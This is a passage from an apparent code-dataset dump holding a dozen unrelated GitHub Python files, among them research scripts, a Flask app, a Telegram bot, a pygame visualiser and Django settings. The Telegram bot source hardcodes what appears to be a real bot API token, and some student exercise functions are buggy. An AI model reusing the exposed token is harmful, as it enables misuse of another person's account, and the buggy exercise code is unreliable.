[data.a,data.b,data.c,data.d]\n\nx = np.zeros((5001,4,100))\nni = np.zeros((5001,4,100))\nci = np.zeros((5001,4,100))\n\nx[0][0] = pettern0[0]\nx[0][1] = pettern0[1]\nx[0][2] = pettern0[2]\nx[0][3] = pettern0[3]\n\n\n\n#wij = data['wij']\nwij = np.zeros((100,100))\n\nfor i in range(100):\n for j in range(100):\n for p in range(4):\n wij[i][j] += (2*x[0][p][i]-1)*(2*x[0][p][j]-1)\n wij[i][j] = wij[i][j]/4\n\ninit = data.init\n\nnp.savez('data.npz',wij=wij,init=init,a=x[0][0],b=x[0][1],c=x[0][2],d=x[0][3])\n\n\"\"\"\n\n\nprocess_bar = lab.ShowProcess(t,\"ok\")\nfor t in range(t):\n for n in range(4):\n for i in range(100):\n wij_some = 0\n for j in range(100):\n wij_some += wij[i][j]*x[t][n][j]\n ni[t+1][n][i] = kf*ni[t][n][i] + wij_some\n ci[t+1][n][i] = kr*ci[t][n][i] - ar*x[t][n][i] + a0\n x[t+1][n][i] = lab.sigmoid(ni[t+1][n][i]+ci[t+1][n][i]) \n lab.number_to_image(x[t][0],t)\n process_bar.show_process() \n\"\"\"\n\n","repo_name":"Sthyao/chaotic_dynamics","sub_path":"week_4/aihara_network_model.py","file_name":"aihara_network_model.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"74357166226","text":"\"\"\"\nCommand-line interface for performing leave-one-out cross-validation on\ngrammars learned using Sublexical Morphology\n\"\"\"\n\nimport paradigms\n\nimport argparse\nimport pickle\n\nimport pdb\n\n#####################################################################\n## Parse command line arguments ##\n#####################################################################\nparser = argparse.ArgumentParser(description = \\\n 'Inflectional morphology predictor')\nparser.add_argument('language_name',help='Name of target directory in datasets')\nparser.add_argument('-b', '--bypass_learning_psublexicons', action='store_true')\n\nargs = parser.parse_args()\n\n#####################################################################\n## Main code ##\n#####################################################################\n\n# Read in cross-validation lexeme set\nwith open('datasets/{}/{}_cv_set.txt'.format(args.language_name, \n args.language_name), 'r') as cv_set_file:\n cv_set_str = cv_set_file.read().strip()\n cv_set = ([lexeme for lexeme in cv_set_str.split('\\n') \n if len(lexeme) > 0])\n\n# Initialize Lexicon first time, just to get the list of cells\nlex = paradigms.Lexicon()\n\n# Learn grammar and get a list of cells in the inflectional system\ncells = lex.learn('datasets/{}/{}_training.txt'.format(args.language_name, \n args.language_name), \n 'datasets/{}/{}_constraints.txt'.format(args.language_name, \n args.language_name),\n 'datasets/{}/{}_features.txt'.format(args.language_name, \n args.language_name), \n just_return_cells=True)\n\nwith open('datasets/{}/{}_cv_results.txt'.format(args.language_name, \n args.language_name), 'a') as cv_results_file:\n ## Write header now. Also useful for making sure multiple runs haven't been\n ## appended onto each other.\n cv_results_file.write('lexeme\\tcell\\tcandidate\\tpredprob\\n')\n\n\nif args.bypass_learning_psublexicons:\n # Load grammarless lexicon from file\n with open('datasets/{}/{}_grammarless.lexicon'.format(\n args.language_name, args.language_name), 'rb') as lexfile:\n lex = pickle.load(lexfile)\n\nelse:\n # Initialize Lexicon\n lex = paradigms.Lexicon()\n\n # Learn psublexicons but not their grammars\n lex.learn('datasets/{}/{}_training.txt'.format(args.language_name, \n args.language_name), \n 'datasets/{}/{}_constraints.txt'.format(args.language_name, \n args.language_name),\n 'datasets/{}/{}_features.txt'.format(args.language_name, \n args.language_name),\n skip_grammars=True,\n pre_reduction_cutoff=50,\n post_reduction_cutoff=50,\n psublexicon_size_cutoff=20)\n\n # Save the grammar-less lexicon for quick loading later (to datasets/language_name/language_name_grammarless.lexicon)\n lex.save_lexicon(args.language_name, 'grammarless')\n\n# Perform cross-validation\nprediction_log = {}\nfor lexeme in cv_set:\n\n if lexeme in lex.lexemes: # should be true, but 'kom' is missing from Spanish for now...\n\n for cell in cells:\n print('To withhold: {}, {}'.format(lexeme, cell))\n \n # learn grammar for target deriv cell without held-out word\n print(lex.psublexicons.keys())\n for ps in lex.psublexicons[cell]:\n ps.learn_grammar('datasets/{}/{}_constraints.txt'.format(\n args.language_name,\n args.language_name), \n word_to_withhold=(lexeme, cell))\n\n # Predict held-out word\n this_prediction = lex.predict_single_word((lexeme, cell))\n prediction_log[(lexeme, cell)] = this_prediction\n\n # print(this_prediction)\n # pdb.set_trace()\n\n # Write this cross-validation result to file\n with open('datasets/{}/{}_cv_results.txt'.format(args.language_name, \n args.language_name), 'a') as cv_results_file:\n for candidate in this_prediction:\n if this_prediction[candidate] > 0.0001:\n cv_results_file.write('{}\\t{}\\t{}\\t{}\\n'.format(\n lexeme, cell, candidate, this_prediction[candidate]))\n\n\n\n### ORIGINAL VERSION: learned sublexicons again for every held-out word.\n\n# with open('datasets/{}/{}_cv_results.txt'.format(args.language_name, \n# args.language_name), 'a') as cv_results_file:\n# ## Write header now. Also useful for making sure multiple runs haven't been\n# ## appended onto each other.\n# cv_results_file.write('lexeme\\tcell\\tcandidate\\tpredprob\\n')\n\n# prediction_log = {}\n# for lexeme in cv_set:\n# for cell in cells:\n# print('To withhold: {}, {}'.format(lexeme, cell))\n# # Initialize Lexicon\n# lex = paradigms.Lexicon()\n\n# # Learn model\n# lex.learn('datasets/{}/{}_training.txt'.format(args.language_name, \n# args.language_name), \n# 'datasets/{}/{}_constraints.txt'.format(args.language_name, \n# args.language_name),\n# 'datasets/{}/{}_features.txt'.format(args.language_name, \n# args.language_name),\n# form_to_withhold=(lexeme, cell))\n\n# # Predict held-out word\n# this_prediction = lex.predict_single_word((lexeme, cell))\n# prediction_log[(lexeme, cell)] = this_prediction\n\n# # print(this_prediction)\n# # pdb.set_trace()\n\n# # Write this cross-validation result to file\n# with open('datasets/{}/{}_cv_results.txt'.format(args.language_name, \n# args.language_name), 'a') as cv_results_file:\n# for candidate in this_prediction:\n# if this_prediction[candidate] > 0.0001:\n# cv_results_file.write('{}\\t{}\\t{}\\t{}\\n'.format(\n# lexeme, cell, candidate, this_prediction[candidate]))\n\n# print('Finished cross-validation!')\n# pdb.set_trace()\n\n","repo_name":"bhallen/pyparadigms","sub_path":"crossvalidate.py","file_name":"crossvalidate.py","file_ext":"py","file_size_in_byte":6680,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"1744608666","text":"# predict and check\nimport numpy as np\nimport cv2\ntest_num = 2\ntest_imgs = {}\nfor root, dirs, files in os.walk(data_path):\n if len(files) > test_num:\n imgs = []\n for img in np.random.choice(files, test_num, replace=False):\n path = root+'/'+img\n #print(path.replace('\\\\','/'))\n imgs.append(np.expand_dims(cv2.imread(path.replace('\\\\','/')), axis=0))\n test_imgs[root.split('\\\\')[-1]] = imgs\n\nresult = {}\nfor c in test_imgs:\n result[c] = []\n for img in test_imgs[c]:\n prediction = model.predict(img)\n top_2 = [(inv_indices[i], prediction[0][i]) for i in sorted(range(len(prediction[0])), key=lambda i: prediction[0][i])[-2:]]\n result[c].append(top_2)\n\ntrue = 0\nfalse = 0\nfor gem in result.keys():\n for pred in result[gem]:\n if pred[-1][0] == gem:\n true += 1\n else:\n false += 1\n\n\nimage = np.expand_dims(cv2.resize(cv2.imread(r\"C:\\Users\\david\\Downloads\\smaragd.jpg\"), (224,224)), 0)\nprediction = model.predict(image)\n[(inv_indices[i], prediction[0][i]) for i in sorted(range(len(prediction[0])), key=lambda i: prediction[0][i])[-5:]]","repo_name":"stedavkle/gemstone-classifier-cnn","sub_path":"cnn/predict_check.py","file_name":"predict_check.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38853537959","text":"from os import getenv\nfrom flask_mail import Mail\nfrom flask import Flask\nfrom flask_login import LoginManager\nfrom flask_sqlalchemy import SQLAlchemy\nfrom importlib import import_module\nfrom dotenv import load_dotenv\n\ndb = SQLAlchemy()\nlogin_manager = LoginManager()\n\n\ndef register_extensions(app):\n db.init_app(app)\n login_manager.init_app(app)\n\n\ndef register_blueprints(app):\n for module_name in ('auth', 'employee', 'manager', 'user'):\n module = import_module('app.{}.routes'.format(module_name))\n app.register_blueprint(module.blueprint)\n\n\ndef configure_database(app):\n\n @app.before_first_request\n def initialize_database():\n db.create_all()\n\n @app.teardown_request\n def shutdown_session(exception=None):\n db.session.remove()\nload_dotenv()\nmail = Mail()\ndef create_app(config):\n app = Flask(__name__)\n app.config['MAIL_SERVER'] = getenv('MAIL_SERVER')\n app.config['MAIL_PORT'] = getenv('MAIL_PORT')\n app.config['MAIL_USERNAME'] = getenv('MAIL_USERNAME')\n app.config['MAIL_PASSWORD'] = getenv('MAIL_PASSWORD')\n\n app.config['MAIL_USE_SSL'] = getenv('MAIL_USE_SSL')\n mail.init_app(app)\n app.config.from_object(config)\n register_extensions(app)\n register_blueprints(app)\n configure_database(app)\n return app\n","repo_name":"tropicdev/Flask_Public-Works","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22942118165","text":"\"\"\"https://open.kattis.com/problems/mirror\"\"\"\n\nT = int(input())\nans = []\n\ndef doubleMirror(image, R, C):\n mirror_im = [[[] for _ in range(C)] for _ in range(R)]\n\n for i in range(R):\n for j in range(C):\n mirror_im[R - i - 1][C - j - 1] = image[i][j]\n \n for i in range(R):\n mirror_im[i] = \"\".join(mirror_im[i])\n\n return \"\\n\".join(mirror_im)\n\nfor _ in range(T):\n R, C = map(int, input().split())\n image = []\n for _ in range(R):\n row = list(input())\n image.append(row)\n \n ans.append(doubleMirror(image, R, C))\n\nfor i, a in enumerate(ans):\n print(f\"Test {i + 1}\")\n print(a)","repo_name":"rajitbanerjee/kattis","sub_path":"Mirror Images/mirror.py","file_name":"mirror.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"5193186125","text":"# B/RK analysis [CALCULATION] code\n#\n# Mikael Mieskolainen, 2020\n# m.mieskolainen@imperial.ac.uk\n\n# icenet system paths\nimport sys\nsys.path.append(\".\")\n\n# Configure plotting backend\nimport matplotlib\nmatplotlib.use('Agg')\n\nimport pickle\nimport xgboost\nimport matplotlib as plt\nimport os\nimport torch\nimport argparse\n\nimport numpy as np\nimport numba\nfrom numba import jit\n\n# icenet\nimport iceplot\n\nfrom icenet.tools import process\nfrom icenet.tools import aux\nfrom icenet.tools import aux_torch\nfrom icenet.tools import io\nfrom icenet.tools import prints\nfrom icenet.deep import optimize\n\n# icebrk\nfrom icebrk import common\nfrom icebrk import loop\nfrom icebrk import histos\nfrom icebrk import features\n\n\n# Main function\n#\ndef main() :\n \n args, cli = process.read_config(config_path='configs/brk')\n iodir = aux.makedir(f'output/{args[\"rootname\"]}/{cli.tag}/')\n paths = io.glob_expand_files(datasets=cli.datasets, datapath=cli.datapath)\n \n VARS = features.generate_feature_names(args['MAXT3'])\n modeldir = aux.makedir(f'checkpoint/{args[\"rootname\"]}/{args[\"config\"]}/')\n \n # ====================================================================\n print('\\nLoading AI/ML models ...')\n\n if args['varnorm'] == 'zscore':\n X_mu, X_std = pickle.load(open(modeldir + '/zscore.dat', 'rb'))\n\n # ** Standardize input **\n def standardize(X):\n if args['varnorm'] == 'zscore':\n return io.apply_zscore(io.checkinfnan(X), X_mu, X_std)\n else:\n return X\n \n # ====================================================================\n # Evaluate models\n\n ### DEEPSETS\n DEPS_model = aux_torch.load_torch_checkpoint(path=modeldir, label=args['models']['deps']['label'], epoch=args['models']['deps']['readmode'])\n\n DEPS_model, device = optimize.model_to_cuda(DEPS_model, device_type=args['models']['deps']['device'])\n DEPS_model.eval() # Turn on eval mode!\n\n def func_predict_A(X):\n\n M = args['MAXT3']\n D = features.getdimension()\n\n # Transform to matrix shape\n Y = standardize(X)\n X_ = aux.longvec2matrix(Y, M, D)\n\n X_ptr = torch.from_numpy(X_).type(torch.FloatTensor).to(device)\n y = DEPS_model.softpredict(X_ptr).detach().cpu().numpy()\n return io.checkinfnan(y)\n \n ### MAXOUT\n MAXO_model = aux_torch.load_torch_checkpoint(path=modeldir, label=args['models']['maxo']['label'], epoch=args['models']['maxo']['readmode'])\n \n MAXO_model, device = optimize.model_to_cuda(MAXO_model, device_type=args['models']['maxo']['device'])\n MAXO_model.eval() # Turn on eval mode!\n \n def func_predict_B(X):\n X_ptr = torch.from_numpy(standardize(X)).type(torch.FloatTensor).to(device)\n y = MAXO_model.softpredict(X_ptr).detach().cpu().numpy()\n return io.checkinfnan(y)\n \n ### XGB\n label = args['models']['xgb']['label']\n XGB_model = pickle.load(open(modeldir + f'/{label}_model.dat', 'rb'))\n def func_predict_C(X):\n y = XGB_model.predict(xgboost.DMatrix(data = standardize(X)))\n return io.checkinfnan(y)\n\n func_predict = [func_predict_A, func_predict_B, func_predict_C]\n\n # ========================================================================\n ### Event loop\n\n ## Binary matrix\n BMAT = aux.generatebinary(args['MAXT3'], args['MAXN'])\n print(f'POWERSET [NCLASS = {BMAT.shape[0]}]:')\n prints.print_colored_matrix(BMAT)\n \n \n # ========================================================================\n # MC as simulation\n\n output = loop.process(paths=paths, func_predict=[],\n isMC=True, MAXT3=args['MAXT3'], MAXN=args['MAXN'], WNORM=args['WNORM'],\n maxevents=args['maxevents'], VERBOSE=args['VERBOSE'], SUPERSETS=args['SUPERSETS'], BMAT=BMAT, hd5dir=iodir, outputXY=True)\n \n # Save it for the evaluation\n pickle.dump(output, open(iodir + 'MC_output.pkl', 'wb'))\n \n \n # ========================================================================\n # MC as synthetic DATA\n\n output = loop.process(paths=paths, func_predict=func_predict,\n isMC=False, MAXT3=args['MAXT3'], MAXN=args['MAXN'], WNORM=args['WNORM'],\n maxevents=args['maxevents'], VERBOSE=args['VERBOSE'], SUPERSETS=args['SUPERSETS'], BMAT=BMAT, hd5dir=iodir, outputXY=False, outputP=True)\n \n # Save it for the evaluation\n pickle.dump(output, open(iodir + 'DA_output.pkl', 'wb'))\n\n # ========================================================================\n\n print('\\n' + __name__+ ' DONE')\n\n\n\nif __name__ == '__main__' :\n\n main()\n","repo_name":"mieskolainen/icenet","sub_path":"analysis/brk_calc.py","file_name":"brk_calc.py","file_ext":"py","file_size_in_byte":4581,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"23437387435","text":"import json\nimport pymongo\n\npage = 1\npagination_by = 5\n\nmy_client = pymongo.MongoClient(host=\"localhost\", port=27017)\nmy_db = my_client[\"restaurant_database2\"]\nmy_col = my_db[\"restaurant\"]\nwith open('json_file.json') as f:\n file_data = json.load(f)\n\nfor i in range(200):\n print(\"you are in page \", i + 1)\n for _ in my_db.restaurant.find().skip(pagination_by * (i - 0)).limit(pagination_by):\n print(_)\n page += 1\n","repo_name":"parisaetemadinejad/MONGO_DB_EXERCISE","sub_path":"pagination.py","file_name":"pagination.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72078047186","text":"import logging\nimport requests\n\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\nlogger = logging.getLogger(__name__)\n\nTOKEN = \"6236847085:AAEwZFAUmX1YBk53gPa-A9zc3uOzrb2iqpg\"\nBASE_URL = f\"https://api.telegram.org/bot{TOKEN}/\"\n\ndef send_message(chat_id, text):\n url = f\"{BASE_URL}sendMessage?chat_id={chat_id}&text={text}\"\n requests.get(url)\n\ndef start(update, context):\n send_message(update[\"message\"][\"chat\"][\"id\"], \"Hi there! I'm a Telegram bot. Type /help for more information on what I can do.\")\n\ndef help(update, context):\n send_message(update[\"message\"][\"chat\"][\"id\"], \"Here are the available commands:\\n\\n\"\n \"/start - Send a welcome message\\n\"\n \"/help - Display a list of available commands\\n\"\n \"/info - Display information about the bot\\n\"\n \"/status - Display the current status of the bot\\n\")\n\ndef info(update, context):\n send_message(update[\"message\"][\"chat\"][\"id\"], \"I am a Telegram bot created with Python and the requests library. My purpose is to demonstrate how to create a simple Telegram bot.\")\n\ndef status(update, context):\n send_message(update[\"message\"][\"chat\"][\"id\"], \"The bot is currently running and ready to receive commands.\")\n\ndef handle_update(update):\n if \"message\" in update:\n message = update[\"message\"]\n if \"text\" in message:\n text = message[\"text\"]\n if text == \"/start\":\n start(update, None)\n elif text == \"/help\":\n help(update, None)\n elif text == \"/info\":\n info(update, None)\n elif text == \"/status\":\n status(update, None)\n\ndef main():\n offset = None\n while True:\n response = requests.get(f\"{BASE_URL}getUpdates?offset={offset}\").json()\n if response[\"ok\"]:\n for update in response[\"result\"]:\n handle_update(update)\n offset = update[\"update_id\"] + 1\n\nif __name__ == '__main__':\n main()\n","repo_name":"Anonymoushjk/telegrambottest","sub_path":"tg_bot.py","file_name":"tg_bot.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13235115891","text":"# classwork\ndef extra1(l):\n l.remove(l[0])\n l.remove(l[2])\n l.remove(l[2])\n print(l)\n\ndef extra2(l, n):\n hold = []\n for i in n:\n for a in l:\n hold += a + [i]\n\n return hold\n\ndef extra3(l):\n hold = \"\"\n for i in l:\n hold += str(i)\n\n hold = int(hold)\n\ndef extra4(l):\n sums = []\n holder = 0\n for i in l:\n for a in i:\n holder += a\n\n sums += [holder]\n holder = 0\n\n highest = 0\n for i in range(len(sums)):\n if sums[i] > i:\n highest = i\n\n return l[i]\n\n# challenge\ndef challenge(n):\n ans = 0\n\n for i in range(1, n):\n if n % i == 0:\n ans += i\n\n ans2 = 0\n\n for i in range(1, ans):\n if ans % i == 0:\n ans2 += i\n\n if n == ans2:\n return True\n return False\n return ans\n","repo_name":"aaaronhsu/MKS22QA","sub_path":"Unit 2 - Strings and Lists/3_12practice.py","file_name":"3_12practice.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42686457091","text":"import numpy as np\n\nfrom waymo_open_dataset import dataset_pb2\nfrom waymo_open_dataset import label_pb2\nfrom waymo_open_dataset.protos import metrics_pb2\n\n\nWAYMO_TRACKING_NAMES = [\n 1, #'TYPE_VEHICLE',\n 2, #'TYPE_PEDESTRIAN',\n 4, #'TYPE_CYCLIST'\n]\n\ndef create_result(pose_v, theta_v, trackers, tracking_name, scene_token, current_sample_token):\n \"\"\"Creates a prediction objects file.\"\"\"\n objects = metrics_pb2.Objects()\n\n o = metrics_pb2.Object()\n # The following 3 fields are used to uniquely identify a frame a prediction\n # is predicted at. Make sure you set them to values exactly the same as what\n # we provided in the raw data. Otherwise your prediction is considered as a\n # false positive.\n o.context_name = scene_token\n # The frame timestamp for the prediction. See Frame::timestamp_micros in\n # dataset.proto.\n invalid_ts = -1\n o.frame_timestamp_micros = current_sample_token\n # This is only needed for 2D detection or tracking tasks.\n # Set it to the camera name the prediction is for.\n #o.camera_name = dataset_pb2.CameraName.FRONT\n\n # Populating box and score.\n box = label_pb2.Label.Box()\n box.center_x = pose_v[0]\n box.center_y = pose_v[1]\n box.center_z = pose_v[2]\n box.length = trackers[2]\n box.width = trackers[1]\n box.height = trackers[0]\n box.heading = 0\n o.object.box.CopyFrom(box)\n # This must be within [0.0, 1.0]. It is better to filter those boxes with\n # small scores to speed up metrics computation.\n o.score = 0.5\n # For tracking, this must be set and it must be unique for each tracked\n # sequence.\n # tracking_id = np.array(trackers[7])\n # tracking_id = tracking_id.tobytes()\n # tracking_id = tracking_id.encode('utf-8')\n o.object.id = str(int(trackers[7]))\n # Use correct type.\n if tracking_name == 1:\n o.object.type = label_pb2.Label.TYPE_VEHICLE\n elif tracking_name == 2:\n o.object.type = label_pb2.Label.TYPE_PEDESTRIAN\n elif tracking_name == 4:\n o.object.type = label_pb2.Label.TYPE_CYCLIST\n objects.objects.append(o)\n\n # Add more objects. Note that a reasonable detector should limit its maximum\n # number of boxes predicted per frame. A reasonable value is around 400. A\n # huge number of boxes can slow down metrics computation.\n\n # Write objects to a file.\n f = open('/home/shk642/waymo/waymo-od/waymo-dataset-viewer/tmp/pred00.bin', 'wb')\n f.write(objects.SerializeToString())\n f.close()\n\n\n# def main():\n# create_result()\n\n\n# if __name__ == '__main__':\n# main()\n","repo_name":"droneRL2020/Probablistic_3D_MOT_WAYMO","sub_path":"create_prediction.py","file_name":"create_prediction.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"74092473746","text":"import matplotlib.pyplot as plt\r\n\r\ndef num(s):\r\n try:\r\n return int(s)\r\n except ValueError:\r\n return float(s)\r\n\r\nn = int(input())\r\nx = []\r\ny = []\r\n\r\nfor i in range(n + 1):\r\n xi = num(input())\r\n x.append(xi)\r\n\r\nfor i in range(n + 1):\r\n yi = -num(input())\r\n y.append(yi)\r\n\r\n\r\nplt.plot(x, y)\r\nplt.show()\r\nplt.savefig('img.jpg')","repo_name":"danivilardell/entregables","sub_path":"Codis/Braquistocrona/dades/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42269695385","text":"#!/usr/bin/env python\nimport rospy\nimport pygame\nimport gazebo_msgs.msg\nimport hector_uav_msgs.msg\n\n\ntotal_points = 0\nprev_count = 2\nfirst_taken = False\nend_l_one = (0, 0)\nend_l_two = (0, 0)\nend_l_three = (0,0)\npygame.init()\nS = pygame.display.set_mode((700, 700))\n\n\ndef handle_model_states(msg):\n\tglobal prev_count,end_l_one,end_l_two,end_l_three\n\ttry:\n\t\tn = len(msg.name)\n\t\tif n > prev_count:\n\t\t\tr_pix_x = int(350 + msg.pose[1].position.x * 35)\n\t\t\tr_pix_y = int(350 - msg.pose[1].position.y * 35)\n\t\t\tpygame.draw.circle(pygame.display.get_surface(), (255, 0, 0), (r_pix_x, r_pix_y), 3, 0)\n\t\t\tfor i in range(1, n):\n\t\t\t\tif \"uav\" in msg.name[i]:\n\t\t\t\t\tif msg.name[i] == \"uav1\":\n\t\t\t\t\t\tend_l_one = (msg.pose[i].position.x,msg.pose[i].position.y)\n\t\t\t\t\telif msg.name[i] == \"uav2\":\n\t\t\t\t\t\tend_l_two = (msg.pose[i].position.x,msg.pose[i].position.y)\n\t\t\t\t\telif msg.name[i] == \"uav3\":\n\t\t\t\t\t\tend_l_three = (msg.pose[i].position.x,msg.pose[i].position.y)\n\t\t\t\t\tcontinue\n\t\t\t\to_pix_x = int(350 + msg.pose[i].position.x * 35)\n\t\t\t\to_pix_y = int(350 - msg.pose[i].position.y * 35)\n\t\t\t\tpygame.draw.circle(pygame.display.get_surface(), (220, 220, 220, 100), (o_pix_x, o_pix_y), 42, 0)\n\t\t\t\t\n\t\t\t\t\n\t\t\tprev_count = n\n\texcept IndexError as e:\n\t\t# raise e\n\t\treturn\ndef handle_goal_point(msg,name):\n\tg_pix_x = int(350 + msg.x * 35)\n\tg_pix_y = int(350 - msg.y * 35)\n\tpygame.draw.circle(pygame.display.get_surface(), (0, 255, 0), (g_pix_x, g_pix_y), 6, 0)\n\tpygame.display.update()\n\ndef handle_sampled_point(msg,name):\n\tglobal end_l_one,end_l_two,end_l_three\n\tp_pix_x = int(350 + msg.x * 35)\n\tp_pix_y = int(350 - msg.y * 35)\n\tfg = 0, 0, 0\n\tfont = pygame.font.Font(None, 20)\n\ttext = \"%.2f ,%.2f\"% (msg.x,msg.y)\n \n\tren = font.render(text, 0, fg)\n\tif(name == \"uav1\"):\n\t\tpygame.draw.circle(pygame.display.get_surface(), (133, 0, 113), (p_pix_x, p_pix_y), 6, 0)\n\t\tif msg.z != 99 :\n\t\t\tpygame.draw.line(pygame.display.get_surface(), (235, 231, 0), end_l_one, (p_pix_x, p_pix_y), 2)\n\t\tend_l_one = (p_pix_x,p_pix_y)\n\telif(name == \"uav2\"):\n\t\tpygame.draw.circle(pygame.display.get_surface(), (35, 170, 200), (p_pix_x, p_pix_y), 6, 0)\n\t\tif msg.z != 99 :\n\t\t\tpygame.draw.line(pygame.display.get_surface(), (235, 231, 0), end_l_two, (p_pix_x, p_pix_y), 2)\n\t\tend_l_two = (p_pix_x,p_pix_y)\n\telif(name == \"uav3\"):\n\t\tpygame.draw.circle(pygame.display.get_surface(), (195, 108, 124), (p_pix_x, p_pix_y), 6, 0)\n\t\tif msg.z != 99:\n\t\t\tpygame.draw.line(pygame.display.get_surface(), (235, 231, 0), end_l_three, (p_pix_x, p_pix_y), 2)\n\t\tend_l_three = (p_pix_x,p_pix_y)\n\n\tS.blit(ren,(p_pix_x,p_pix_y))\n\tpygame.display.flip()\n\nif __name__ == '__main__':\n\trospy.init_node('MapTree_visual')\n\tS.fill((255, 255, 255))\n\trospy.Subscriber('/gazebo/model_states', gazebo_msgs.msg.ModelStates, handle_model_states)\n\trospy.Subscriber('/uav1/sampled_point', hector_uav_msgs.msg.Vector, handle_sampled_point,\"uav1\")\n\trospy.Subscriber('/uav2/sampled_point', hector_uav_msgs.msg.Vector, handle_sampled_point,\"uav2\")\n\trospy.Subscriber('/uav3/sampled_point', hector_uav_msgs.msg.Vector, handle_sampled_point,\"uav3\")\n\trospy.Subscriber('/uav1/actual_uav_goal', hector_uav_msgs.msg.Vector, handle_goal_point, \"uav1\")\n\trospy.Subscriber('/uav2/actual_uav_goal', hector_uav_msgs.msg.Vector, handle_goal_point, \"uav2\")\n\trospy.Subscriber('/uav3/actual_uav_goal', hector_uav_msgs.msg.Vector, handle_goal_point,\"uav3\")\n\tpygame.display.set_caption('Motion Planning Visualization')\n\tpygame.display.flip()\n\n\trunning = True\n\twhile not rospy.is_shutdown() and running:\n\t\tif total_points == 300:\n\t\t\trospy.loginfo('Sampling is complete.')\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\trunning = False\n\n\trospy.spin()\n","repo_name":"burakceng/swarm_uav_manipulator","sub_path":"scripts/pyk.py","file_name":"pyk.py","file_ext":"py","file_size_in_byte":3652,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"2895842655","text":"import os\nfrom pathlib import Path\nfrom django.contrib.messages import constants\nfrom decouple import config, Csv\n\n# Build paths inside the project like this: BASE_DIR / 'subdir'.\nBASE_DIR = Path(__file__).resolve().parent.parent\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/\n\n\nSECRET_KEY = config('SECRET_KEY')\n\nDEBUG = config('DEBUG', default=False, cast=bool)\n\nALLOWED_HOSTS = config('ALLOWED_HOSTS', default=[], cast=Csv())\n\nCSRF_TRUSTED_ORIGINS = ['http://dl.intranet.policiamilitar.sp.gov.br']\n\n# Application definition\n\nINSTALLED_APPS = [ \n \n 'accounts',\n 'solicitation',\n 'help_pages',\n 'administration',\n 'notifications',\n\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\n 'ckeditor',\n 'ckeditor_uploader',\n \n 'taggit',\n\n 'simple_history',\n]\n\nMIDDLEWARE = [ \n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'simple_history.middleware.HistoryRequestMiddleware',\n]\n\nROOT_URLCONF = 'configurations.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [\n os.path.join(BASE_DIR, 'templates')\n ],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'configurations.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/3.2/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': 'chamadoDP',\n 'HOST': '127.0.0.1',\n 'PORT': '3306',\n 'USER': 'root',\n 'PASSWORD': '',\n }\n}\n\n\n# Password validation\n# https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n\n# Internationalization\n# https://docs.djangoproject.com/en/3.2/topics/i18n/\n\nLANGUAGE_CODE = 'pt-br'\nTIME_ZONE = 'America/Sao_Paulo'\n\nUSE_I18N = True\nUSE_TZ = True\nUSE_L10N = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/3.2/howto/static-files/\n\nSTATIC_URL = '/static/'\n \nSTATICFILES_DIRS = [\n os.path.join('templates/static')\n]\n\nCKEDITOR_UPLOAD_PATH = \"upload/\"\nMEDIA_URL = '/upload/'\nMEDIA_ROOT = os.path.join(BASE_DIR, 